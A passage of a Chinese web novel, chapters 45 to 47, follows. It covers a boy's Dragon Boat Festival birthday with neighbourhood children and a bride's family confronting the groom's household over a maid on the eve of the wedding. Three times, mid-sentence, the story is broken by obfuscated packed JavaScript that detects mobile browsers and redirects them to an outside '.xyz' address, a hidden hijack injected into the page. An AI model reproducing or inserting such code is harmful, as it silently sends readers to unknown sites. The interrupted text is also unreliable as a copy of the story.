谢暎刚起床，就被谢夫子叫到了面前，然后给他在手臂处系上了用五色彩丝编的长命缕。 “我也是头回买这个。”谢夫子系缕的手法还有些不太熟练，一边略显磕绊地打着结，一边说道，“反正不管有没有用，咱们也应个景吧。” 谢暎口中应是，看着五色缕上的日月图案，不由地想起了父母还在世时，也是每年都给他系的这个样式。 娘说：“愿我儿长寿如日月。” 爹爹说：“亦愿我儿来日登高处，可攀月摘星。” 他眼中忽有些发涩。 “好了！”谢夫子颇有成就感地一笑，抬手往他肩上拍了下，“走，吃长寿汤饼去。” 谢暎眼中的泪意硬生生被他给拍了回去。 今天的天气很好，和风暖阳，每到这时候谢家的饭桌一定是摆在院子里的，此时自然也不例外。 桌上早已摆好了一碟端午果子，这是谢夫子提前去铺子里买的，有百草头也有酿梅。 虽然名头不同，但其实用的材料都是菖蒲、生姜、杏、梅、李还有紫苏，先切成丝状，若是加盐晒干就叫百草头，而若以蜜糖渍之且纳于梅皮中，则为酿梅。 顾名思义，这些端午果子也是只有端午节前后才有售。 谢暎尝了口酿梅，酸甜的味道熟悉又陌生，他顿了顿，又拿起百草头尝了尝。 他低头弯弯唇角，心想果然还是记忆中的那样难吃。 “谢暎——”院门外忽然传来了蒋娇娇的声音。 45. 送礼 谢暎回过神，忙跑了过去把门打开，果然见到蒋家兄妹两个正站在外头对着自己笑。 荷心也跟在蒋娇娇身边，手里头端了个盘子，但上面盖着布，也看不出是什么。 蒋修把自己手里的盒子往谢暎怀里一塞：“送你的生辰礼。” 谢暎笑着道了谢。 蒋修催他：“打开来看看啊。” 他就依言而行，打开一看，发现里面是枚墨锭。他认得出来，这是蒋修书室里用的那种容州松烟墨。 他爹爹以前也是用这种墨，说是不能亏了笔下钱，但当时他并不知价值几何，直到在蒋家再次用上之后，他曾去街上纸墨店里问过，才知大约要一百文一枚。 “我那儿本就多了囤着的，”蒋修道，“没花钱，你别介意啊。” 谢暎看着他故作随意的样子，觉得有些好笑，也有些感动，于是面上也作出了轻松的样子说道：“我今日也刚囤了两个粽子，打算你生辰的时候送去。” 蒋修一愣，旋即笑道：“你怕是囤的腊粽子还差不多！”说完自己在那里哈哈地笑了阵。 蒋娇娇觉得她哥好啰嗦，等不下去了，直接挤开了蒋修，冲谢暎问道：“谢夫子不在你旁边吧？” 谢暎这才想起还没来得及请他们两个进去，于是边要让开身，边说道：“叔祖在厨房里，你们先进来吧。” 蒋娇娇神秘兮兮地拉住他：“先等等，我给你看个东西。” 谢暎好奇地看着她。 “哎呀你先别看我，”蒋娇娇伸手去推他，“先盯着谢夫子别让他过来。” 谢暎就顺着她转过了身。 过了几息，他听到蒋娇娇在身后说：“可以了你转过来吧！” 他就又转了回去—— “当当当！”蒋娇娇开心道，“大猪送小猪，祝你年年有今日，岁岁有今朝！” 谢暎：“……” 他看着此时此刻与自己只有咫尺之遥的蒋娇娇，忽然有些百感交集。 她脸上戴着个画了猪儿模样的面具，双手端了盘做成小猪形状的白团，哪怕隔着屏障，他也依稀能看到她笑弯了的眼睛。 少顷，他抿了抿唇，伸手将她手里的食盘接过，说道：“谢谢。”但目光却回避着。 蒋娇娇还在说话：“我本来是答应过你要请你吃全猪宴的，但我那时候没算过日子，之前才想起来你暂时还不能吃，所以就先意思一下，等到时候再给你真真儿地补上。” 谢暎低着头，肩膀有些微颤。 蒋娇娇没得到他的回应，又见对方越颤越厉害，不由一怔，忙关心道：“你怎么了？难道是感动地哭了么？你不要哭呀！” 蒋修在旁边实在忍不住了：“哭个屁，你能不能先把你那个面具给摘了？”他话音还未落下，已“噗嗤”喷笑出声。 他这一笑，谢暎也再难稳住，霎时跟着笑了出来。 两个男孩子笑得止不住声。 就连荷心也转过头去笑。 蒋娇娇有点懵：“这面具怎么了嘛？我画了好久的。” 她抬手把面具摘了下来，左看右看也觉得上面的猪鼻子和猪耳朵画得没什么问题啊。 “你们是觉得我画得很丑么？”她纳闷地问。 谢暎忍笑忍得说不出话，只能摇头。 蒋修向来不在意他妹脚下的台子，直言不讳地道：“不算丑，但你戴上去真地很像只小猪。” 蒋娇娇立刻骂回去：“你才是猪！” 蒋修便道：“蒋娇娇你说过以后不骂我是猪了的，你食言而肥，你就是小猪！” 蒋娇娇一愣，只能憋住。然后她委委屈屈地看向谢暎：“我不是猪。” 谢暎看蒋修把她给惹着了，便清清嗓子，点头安慰道：“嗯，你不是猪，那个面具是猪，因为你画得太好了。” 蒋娇娇一听，立刻高兴了，然后把面具也递到了他面前：“你喜欢就好，这只大猪本也就是送给你的！” 谢暎就作出郑重的样子接了过去。 此时院子里传来了谢夫子的声音：“你们站在门口说什么呢？暎哥儿，进来吃饭了。” 谢暎应了一声，然后招呼蒋娇娇和蒋修：“进来坐吧。” 蒋娇娇就先探了个脑袋进去，冲着里面的人道：“谢夫子，谢暎让我们进来陪他吃饭。” 谢暎笑了笑。 谢夫子正在往桌上摆碗，闻言回头瞧了那蒋家小丫头一眼，随口道：“进来吧。” 蒋娇娇没了顾虑，高高兴兴地跟在谢暎身边踏入了谢家院门。 “你们两个吃不吃糖粽？”谢夫子挑着眉头问道，一副打算随便招呼的样子。 蒋娇娇当即点头，蒋修则规规矩矩地礼道：“夫子若是方便的话，我们也尝尝。” 谢夫子“嗯”了声，转身又进了厨房。 蒋家兄妹两个就挨在谢暎身边坐了下来，蒋娇娇顺手拿了个酿梅吃，尝了尝觉得不错，又给她哥塞了个。 恰好姚二郎进门来看到，当即扬声问道：“你们在吃什么呢？” 姚之如也跟在他身后走了进来。 谢暎放下筷子，起身迎客。 蒋修和蒋娇娇倒是坐着没动，只招呼他们两个道：“端午果子，你们吃了没？” 姚二郎这会儿也已经走上来瞧见了，口中道：“吃了。”然后指着桌上的小猪白团，“但我能尝个这个。” 蒋修提醒他：“你先把礼给暎哥儿送了，哪有一上来就吃东西的。” 姚二郎反应过来，于是将手里的细长盒子递了过去：“谢元郎，这是我们送你的生辰礼。” 谢暎道谢接过。 姚之如问还在吃的蒋娇娇：“这个酿梅酸不酸？” 蒋娇娇道：“不酸。”然后抬手给她塞了一个到嘴里，又转头问谢暎，“你要不要就着汤饼吃？我给你拿。” 谢暎想了想那个口味觉得无法接受，但又不想直接拒绝她，便道：“我吃你送的白团吧。” 蒋娇娇一听，高兴地弯了弯眉眼。 蒋修则在往姚二郎脑袋上瞧：“你这个艾虎瞧着还可以，挺威风。” 艾虎和其它用艾草做的压胜物、饰物一样，也是端午用来寓意辟邪攘灾的东西。 姚二郎听见他这么说，本能地挺高兴，随即又犹豫了一下自己是不是应该要摘下来送给蒋修，但一时间却没能舍得，转眼几息过去，他又觉得好像已错过了表态送人家的机会，只好佯作无事地笑道：“大哥哥分给我的。” 蒋修其实根本没想那么多，他不太喜欢新鲜艾草味道，所以一直坚定拒绝长辈们给他戴那些东西。 几人正说着话，沈云如也来了。 她代表自家姐弟两个直接送了一刀宣纸给谢暎。 蒋修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529301|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些意外：“沈二怎么没有同你一起来？” 沈云如道：“今天爹爹在家考校大哥哥的功课，让二郎也去旁听了。” 其他人不免感到诧异。 姚之如忍不住道：“沈大丈这么严格么？今天是过节呢。” 沈云如虽然也觉得父亲好像确实比以前严格了些，但她认为这些都是父亲的好意，也没有什么，便说道：“大哥哥秋天就要下场了，可能爹爹也是想二郎早点多看多学一些吧。” 蒋修感慨地道：“若是沈大哥哥这回也考中了，那咱们照金巷里就有了两个进士了，而且他才十六呢。” 沈云如听着也不免为此感到骄傲，嘴上却说他：“什么叫‘若是’，你就不能讲些好听的？” 蒋修知道沈云如是想他说些更吉利的话，但他觉得她这种曲解别人意思的语气也挺烦，便故意道：“哦，那就‘假如’吧。” 沈云如：“……” 她原本只是想开个玩笑，不想蒋修竟是一副故意要和自己唱反调的样子，她霎时也有点挂不住地沉了脸。 蒋修佯作看不见。 其他人眼看这两人气氛僵了起来，都忙招呼着他们两个吃东西。 蒋娇娇虽并不在意沈云如生不生气，但因为不想对方在谢暎的生日闹不愉快，所以也殷勤地一口一个“沈姐姐”跟着劝。 恰此时，谢夫子端着煮好的粽子走了出来，一见小院里挤满了孩子们，便“嚯”笑了一声，说道：“都来啦，来尝尝刚出锅的糖粽。” 沈云如即敛起情绪，转开脸，端静地朝着谢夫子行了一礼。 蒋修也没再说什么。 谢夫子把糖粽放到桌上后就进屋准备晒书去了，姚二郎见没了大人在场，说起话来又没了拘束，问蒋娇娇道：“下月你小姑夫家里来催妆的时候，我们能去拦门么？” 蒋修连催妆是什么都不懂，这会儿听起不免也觉得好奇，看向蒋娇娇：“这个拦门干啥？” 这群孩子还不曾在巷子里见过办喜事的，自然都很有兴趣掺和一番。 姚之如想起上次郑家下定礼的事，下意识朝沈云如看去，沈云如被她看得一怔，然后不太自在地轻咳了下，佯作没有体会到对方的问询之意。 其实她也不太懂，斋里的女夫子只教过婚姻之礼，但这样具体的成婚流程细节却还没有提过。 这回就轮到蒋娇娇得意了，她一副故作稳重的样子，说道：“你不要整天想着玩儿，这是很正经的事情。” 她也是听母亲和祖母说起才知道的，所谓催妆其实就是在男方迎娶前三日，会向女家送一些用于新妇妆扮的东西，譬如冠帔花粉之类的。 蒋修直接问道：“那到底我们用不用拦门？” 蒋娇娇一愣，心想我也不知道啊，早知你们要问这个我当时就先问了。 她怕说错话给小姑的婚事添麻烦，但又不想被别人——尤其是沈云如小瞧，正苦恼着该怎么圆，就听见旁边的谢暎接过话茬说道：“到时你问问蒋姑姑的意思吧，这种事也不好一概而论。” 蒋修几个都被他这句话给说服了，认同地点了点头，没有再追问。 蒋娇娇则默默松了口气，随后满是感动地给谢暎递了个白团：“吃猪。” 他笑笑接了，顺手又给她回了个酿梅，微低了声音道：“去霉。” 蒋娇娇偷笑地弯了眉眼。 46. 铺房 蒋娇娇后来还是去找她母亲打听了一下，才知道原来男家到女家催妆是不用拦门的。说来男女成亲倒也有需要拦门的环节，但那是在迎亲人接到新娘子回到男家门首时，由那些乐官、伎女还有帮着男家操办茶酒的来拦，求索花红利市。 她听了之后就觉得心里有点不舒服，转头去告诉了蒋修。 “明明是他们要把我们姑姑娶走，凭什么我们不用拦他，但小姑去他家却要被拦门呢？”蒋娇娇颇有点不服气。 蒋修觉得她说得有道理：“没错，也不知这些破规矩是谁定的，好像小姑多稀罕进去他家，有本事给我们家送回来啊。” 蒋娇娇狠狠赞同了一回她哥，用力点头。 “这回小姑成亲我们是赶不上了，”蒋修对他妹道，“等你以后嫁人的时候哥帮你拦门。” 他说到这个还有点遗憾，偏偏自己是晚辈又是个半大孩子，根本没权发表什么意见，更莫说去替他小姑挣面子。 蒋修觉得自己空有一腔维护自己人之心，但也只能寄希望于蒋娇娇来让他实现了。 蒋娇娇点点头，还叮嘱他：“你要拦得厉害点。” 蒋修豪气道：“没问题，到时叫上大家一起。” 两个人颇激动地约定完了，又不约而同地沉默了下来。 “还有二十几天小姑就要去别人家了，我有点舍不得。”蒋娇娇略感低落地说道。 蒋修一副老成的样子摇了摇头，说道：“以后想出门玩儿就有点麻烦了。” 兄妹俩对视一眼，又长长叹了口气。 蒋黎出阁的日子定在了六月初九。 按照习俗，初九是迎娶正日，而男家来人到女家催妆是在前三天，这是成婚前的仪节之一。而另一个仪节便是在成婚前一日进行，是由女家去男家挂帐幔和铺设房卧，同时也要预送一些嫁妆，此称之为“铺房”。 于是初八这天早上，金大娘子就领着人去了郑家。 高大娘子也亲自在门前迎她，两个人见面寒暄了几句后，金大娘子就张罗着正式开始了铺房。 蒋家是用罗来挂的帷幔。随着满绣的衾褥被铺上床榻，箱笼中的陪嫁一一陈列出来，高大娘子的笑容也不免渐渐有些发僵。 她长嫂王大娘子在旁边瞧得两眼带光，用恰好只有两人能听到的声音对她说道：“没想到蒋家对你这儿媳连铺房的事都这么大方。” 那些嫁奁就不说了，她们早前看过状子都是知道的，可铺房用的这些物件儿都那么舍得花钱，王大娘子就真是头回见了。 虽说女家铺房时多多少少都要炫耀些嫁妆，但高大娘子却觉得蒋家这番炫耀有点过了。 她没有说什么，只掩饰着勉强地弯了弯唇角。 金大娘子其实也瞥见了高氏的愕然之色，平心而论，若按照她的审美，她也觉得这一屋子摆件看着多少有点晃眼睛。但蒋老太太不想委屈了女儿，而蒋世泽本就是个孝顺的，加上因为蒋黎之前在沈家大宴上那件事，他也认为该给妹妹镇镇场子，免得被人家小瞧。 她觉得阿姑和丈夫的考虑跟关心都是对的，所谓审美之类的东西若与这些相比，自然也就显得无足轻重了起来。 她是蒋黎的娘家人，此时自不能表现出一点谦虚让步之意，所以也就只当没有看见。 好不容易总算是铺设完了新房，王大娘子就代表郑家老太太请了金大娘子去老人家那里喝茶，这是应有的礼节，金大娘子也没拒绝，吩咐了蒋黎身边的梁妈妈先带着从嫁女使在这里看守。 照规矩，新房铺设完成后是不能让外人进来的，蒋黎的贴身女使琥珀明天才跟着她到郑家来，所以今日就由梁妈妈先带着其他女使在这里守着。 金大娘子走后，梁妈妈就干脆借此机会又给几个从嫁女使讲了讲规矩。 “眼前这些东西再好，那也是姑娘的，就是郎君也做不得主。”她意味深长地提醒道，“你们是从蒋家出来的，心里头要时刻揣着明白，晓得自己应当为谁尽心尽力。你们尽了心，主家自然也不会薄待你们，切莫去想那些得罪人又作践自己的事。” 女使们恭顺应是。 梁妈妈费了这么会子的口沫，这时也觉得有些渴了，于是随口唤了女使给自己倒杯水来喝。 因今日要铺房，屋里头除了必要的家生之外，其它一应陈设早就都撤了，蒋家虽然自己带了茶瓶来，但那个是用来显摆的，自不能用。所以这名叫珊瑚的女使就出了门去找郑家的女使要茶水。 过了一会儿，她捧着个日常用的茶瓶走了进来，给梁妈妈斟了茶水递过去，口中说道：“妈妈，先前那送茶水的郑家女使好心同我说，让我们铺床的时候熏香不要熏太久，道是郎君鼻子灵，半夜里睡不踏实会踢被子，怕影响了姑娘。” 梁妈妈随意地“嗯”了声。 杯子刚碰到嘴唇，她又蓦地顿住，想了想，忽而蹙起了眉，抬头问道：“那女使叫什么？多大年纪，长什么样子？” 珊瑚不料对方会问这个，回忆了下，才道：“她说她叫溪儿，应该也是十八丨九的样子，瞧着人算是清秀温婉。” 梁妈妈起身丢下一句“屋里你守好”，便径直出了房间。 她佯作从容地寻到郑家老太太堂中，见到了正在和郑家女眷饮茶叙话的金大娘子。 梁妈妈草草向着郑家众人行了一礼，然后便径直上前对着金大娘子耳语了几句。 郑家人瞧着不免有点疑惑，王大娘子也转头去和高大娘子对视了一眼。 金大娘子这边听完后默然了两息，然后语气平静地对梁妈妈道：“你先候着吧。” 梁妈妈明白了自家主母的态度，二话不说绕到了金大娘子身后端端站着，绷得紧紧的脸上隐隐带着怒气。 高大娘子见蒋家一个婆子都能在她们面前甩脸色，心中略感不悦。 “高大娘子。”金大娘子直截了当地向着对面的人开了口，“请问妹婿房中可有一个叫作溪儿的女使？” 高大娘子愣了一下，说道：“有啊，怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529302|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 郑老太太闻言，微微皱起了眉。 只见金大娘子浅浅弯了下唇角，然后平声说道：“这新妇都还没有过门就安排通房女使，是不是也太急了些。” 高大娘子被其他人的目光盯得有些不自在，她觉得自己有点冤，于是忙道：“不是通房女使啊，麟哥儿未曾收用她。” “未曾收用？”金大娘子淡淡一笑，“那她怎么知道妹婿半夜里踢被子，还这么关心人家的床头事呢？” 郑麟又不是五六岁的孩子，难道还需要有个女使彻夜照顾着盖被？就是自家修哥儿也早就不许女使近身伺候他了，说是不自在。 高大娘子嘴唇动了动，对方这突如其来的发难让她一时有些没能反应过来，正语塞之际，郑老太太已愠怒地催促道：“怎么回事，你还不跟人家解释清楚？明日你儿子可就要成亲了！” 高大娘子被阿姑当着妯娌们还有外人的面这样斥责，不由心下一阵窘迫，脸上也阵阵发烫。 硬要说起来，她儿子娶了蒋黎，自己辈分还应该比金大娘子大才对，可对方竟这样不留情面地当众逼问她！ 她就也有些上了火，开口时不免语气微凉：“她的确不是通房女使，反正我未曾让麟哥儿收用她，至于她如何知道麟哥儿半夜里的睡相，想来是这些年里照顾的时候偶然看到过。不过话说回来，就算她是通房女使也没有什么吧，反正是为主母所用的，日后阿黎有个身子不便的时候，不也一样要安排人么？” 言下之意便是在说蒋家矫情。 金大娘子也不同她争论什么，只仍然貌似客气地平静说道：“日后是日后的事，但新妇进门总要瞧着屋里头是个干干净净的样子才好，没道理是这般黏黏糊糊。”言罢，她转而看向了郑老太太，“我也知高大娘子是顾着那女使的功劳，想着要好好安置人家。但迎亲日人来人往的，口杂之下难免事有不稳，若是传出去，知道的晓得是那女使好心办坏事，可不知道的，恐怕就要误会到别处去了。” 郑老太太连连点头：“你说的有理。”随后当即肃然地对高大娘子吩咐道，“明日迎亲之前，你再把麟哥儿的屋里头好生梳理一遍，该清走的就莫再拖了。” 高大娘子站起身，低头垂眸地默默深吸了一口气，然后恭声应了喏。 …… 郑麟今日在外面逛市集，想碰碰运气看能不能淘到什么好东西，此时走累了正打算寻个地方喝茶，就被自己母亲派来的厮儿给找到了。 那小厮也说不清楚是什么事要叫他回去，只道是大娘子催得急。 郑麟虽纳着闷，但还是立刻掉头回了家。 他几乎是跑着进的母亲房里。 “娘，怎么了？”郑麟一边朝对方走去，一边口中问着，“不是说铺房不用我在场么？” 高大娘子心里本就憋着火，这会子见始作俑者还一副懵然未知的样子，顿时更加气不打一处来。 “你还有脸问！”她一下子就把几上的茶盏给拂到地上摔碎了。 47. 取舍 郑麟被母亲劈头盖脸地一吼，不免有点茫然。 高大娘子平了平心火，方才沉着语气重新开了口：“我问你，溪儿那贱丫头可是又来撩拨你了？” “没有啊。”郑麟回罢，又皱了皱眉，劝道，“娘，您说话别这样难听。” “嫌我说得难听？”高大娘子气笑道，“那你倒是该去听听你那妻家嫂嫂是怎么说的，人家说你屋子里头不干净，黏糊！” 郑麟愣了愣，诧异地道：“不是说金大娘子出身书香么？怎么说话这样刻薄呢？” 高大娘子瞥了他一眼，说道：“这怪谁？还不是怪你那个‘我见犹怜’的好溪儿，跑到蒋家人面前去献殷勤，说些不该说的话，正好被人家抓住了把柄。” 言罢，她就将自己事后查问清楚的情况三两句说了，末了，冷冷地道：“我已将她赶出家了，以后你只当不晓得她这个人，等你媳妇进了门若是问起，必得给我做出副若无其事的样子！” 郑麟讶然道：“您就这么把人赶走了？好歹给人家寻个好去处，便是找个人家……” “那要不我干脆再给她养老送终？”高大娘子当即嘲讽了过去。 郑麟没有吭声。 高大娘子只觉太阳穴突突地疼。 “当初那贱丫头被我抓到在你屋里的时候，她是怎么对我保证的？你又是怎么给她求的情，你忘了？”她鼻子里哼了声，说道，“这几年我见她在你身边的确也算老实规矩，本想着等蒋黎进了门之后帮你跟她说说把人给收了，谁知她倒先坐不住了。” “她以为人家会把她收用了来笼络你，却没想到搬起石头砸了自己的脚。蒋家今日那排场和气势，摆明就是为她们四姑娘来镇场子的，岂能容得下她在那里跳？” 高大娘子说完，又狐疑地打量了儿子几眼：“我再问你一遍，那次之后你们可曾再有过？或是你对她说过什么，让她起了心？” 郑麟想了想，目光忽然有些躲闪起来。 “我……”他微低了声音，说道，“我也没说什么，只是相亲回来那天她问我蒋家四姑娘瞧着是个怎样的人，好不好相处。我就说人挺好的，漂亮又有见识。” 他当时心情正好，说这话时都忍不住挂着笑，却见溪儿颇有些苦恼忐忑的样子，他奇怪之下就询问原因。对方便犹豫地问说也不知道蒋四姑娘介不介意成亲那日让她在房中服侍，若是蒋四姑娘介意的话，那可能公子还是要早早把她支远些比较好，这样也显得他在意未来妻子的感受。 郑麟忽然就觉得自己有点亏欠她。 “我当时就跟她说，让她安心在房里侍候着我和阿黎，我是不会赶她的。” 他那时说这个话本意是宽溪儿的心，不想让人家觉得好似自己不念旧情，说把人踢开就一脚踢开了。 却没想到会发生这样的事。 高大娘子淡然道：“我早同你说过，让你收收你那怜香惜玉的心，这下好了，自己上赶着把短处往蒋家手里头递。” 郑麟自知理亏，也不好意思辩驳什么。 “你婆婆的意思是明日迎亲你亲自去，”高大娘子没好气地说道，“也算给人家看看咱们家的诚意。那贱丫头的事你自此别再提了，若你媳妇问起，记住我先前嘱咐你的话，莫要显露出一星半点你怜惜她的模样。” 郑麟点点头，恭顺地应了下来。 *** 金大娘子回到家经过深思熟虑之后，还是私下去找了蒋黎。 她委婉地，用尽量简洁的语言几句话把溪儿的事情说了。 末了，金大娘子语气宽慰地说道：“今日郑家已表了态会把郑六郎的房中再清理一遍，我想那个女使应该是不会再留下了。” 蒋黎半晌没能回过神。 金大娘子看她这个模样不免有点担心，温声劝道：“阿黎，我同你说这些不是为了让你跟着生气，或是因此与那郑六郎生出什么隔阂的。” 蒋黎一时不知道自己该以什么心情去接受这件事。 “我本想过瞒着你，但又觉得这样对你不公平，这事日后你若从别人的口中晓得了，只怕是更要难过。”金大娘子轻轻搭住了她的手，“你只当从前那些事与你无关，因彼时你还不是他的妻子，等明日嫁过去了，你心里就要有个数，晓得你面对的是个怎么样的男人和夫家。” 蒋黎茫然道：“那他是个怎么样的男人？” 那日相亲，她只觉他相貌谈吐都还不错，旁的她也不了解啊。 她也不知道哪里来的自信，竟就默认为郑六郎和她一样对未来和彼此都是忐忑而期待的，从不曾想过他前头还有过别的女子。 有过也就罢了，他还一直把人留在房中侍候。 这算什么呢？ 蒋黎觉得自己有点失望，对于明天的到来也忽然缺失了许多应有的喜悦。 金大娘子沉吟了须臾，说道：“单从这件事看来，我瞧他像是个不爱操心，但也颇念情分的。” “所以你嫁了他，就要先与他存上些情分。”她说，“等将来关键的时候才好推着他做些决断。” 金大娘子委婉地道：“总不好让高大娘子帮你们夫妻两个操心一辈子。” 蒋黎顿了顿，看着她，若有所悟地问道：“二嫂嫂，你的意思，是让我只做他的大娘子，而不是他的妻子么？” 金大娘子怔了一下，少顷，语气微轻地说道：“妻妾可成群。你要的那些东西世间难得，遇到了自然好，但遇不到也莫看得太重。” 言罢，她浅浅笑道：“阿黎往后把自己的日子，还有将来孩子们的日子过得好，阿姑她老人家才能放心。” 蒋黎沉默了良久。 “二嫂嫂，”她望着眼前的人，真诚地说道，“谢谢你。” *** 蒋黎躺在床上闭了会儿眼，却发现自己有点睡不着。 不是因为紧张，而是有一种好似看不见边际的茫然将她重重地笼罩住，让她觉得心里没有着落。 屋外忽然传来了有人说话的声音，她回过神，凝神听了一息，便坐起身问道：“是不是娇娇来了？” 房门被打开，蒋娇娇抱着她的小木枕跑进了内室，冲着正坐在床上的蒋黎说道：“小姑，我来陪你睡觉好不好？” 蒋黎看着小侄女这副乖巧的样子只觉心都要化了，当即点点头：“上来。”然后伸手把蒋娇娇的枕头接过来放到了里面，自己也往外边挪了挪。 蒋娇娇手脚并用地爬上床，钻到了被子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529303|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，然后睁着双眼睛盯着她小姑，招呼道：“你快睡觉，不然明天早上不漂亮。” 蒋黎不由笑笑，躺下后又顺手给蒋娇娇掖了掖被子。 女使重新暗了灯火。 姑侄两个在帐子里无声地躺了一会儿，忽然，蒋娇娇挨过来把蒋黎给抱住了。 “小姑，我和大哥哥都很舍不得你去别人家。”她说话时带了些鼻音，好似在委屈，又好像在撒娇。 蒋黎轻轻揽住她，说道：“小姑也很舍不得你们。你和修哥儿以后在家里要乖乖的，莫要太淘气，好好长大。” 蒋娇娇忍不住哭了：“为什么女孩子一定要去别人家啊？我不想你去别人家！” 蒋黎被她问得一愣。 是啊，为什么女子一定要成亲呢？ 好像自己从来也没有想过。就连母亲或是旁人提起，也似是都将其默认为人生必经阶段。 她虽然也没有想过若是自己不成亲的话日子会是什么样，会不会像那些因为被嫁奁耽误而婚嫁失时的人一样，成为他人眼中怜悯或嘲笑的对象。但她此时却忍不住想：就算成亲是必须，可为什么又必得是她一味委屈自己呢？ 为什么那些男人就理所当然地可以不用付出任何努力，就能得到对他们一心一意的女人？ 难道她想要的东西不能强求，但连想一想都不行么？ 虽然她知道二嫂嫂说的那些话没有错，可是她也知道，那样的理智并不是自己想要的。她实在想象不出来倘若自己与那个人之间不存有真正的感情，又如何能把以后几十年的日子过得出滋味？难道她成亲只是为了让自己不快活的么？ 她忽然明白了这一夜在心中盘旋不去的感觉到底是什么。 那并不是真正的茫然，而是不甘。 蒋黎觉得自己还是想要去试一试，试试好好经营这场婚姻，试试和郑六郎成为像她父母那样的情深伉俪。 若是他不愿意，那她就认了；若是他也肯，那他们就一定可以。 十九岁的她暗暗如此下了决心。 *** 次日，随着鼓乐声涌入，照金巷终于在孩子们的期待中迎来了接亲的队伍。 蒋黎坐在房中，也听见了从巷子里传来的喧天鼓乐之声，她不由紧了紧交握的双手。 琥珀一脸喜气地走了进来。 “姑娘，”她说，“是阿郎亲自来迎的亲。” 婚嫁之俗到了今天，男家迎娶时早就没了亲迎的规矩，一般由媒户领着行郞们代为前往即可。但今日郑麟却亲自来了，大家都觉得这是郑家，还有他本人对蒋黎的重视。 果然，蒋黎意外之余也显然有些高兴。 她对于以后的生活也更多了两分信心。 “小姑！” 蒋娇娇满脸兴奋地从外面跑了回来，冲着蒋黎说道：“姑夫给我发了个红包，让我来同你说先吃些东西，外面的酒席还要一会儿呢。” 照风俗，女家需要设酒肴款待男家派来的迎亲队伍，等时辰差不多了，乐官和克择官等人才会开始联手“催促”新妇登轿。 蒋黎听着侄女的话，想到郑麟俊朗的面庞，心中微微一暖。 “好。”她眉眼轻弯，莞尔如是回道。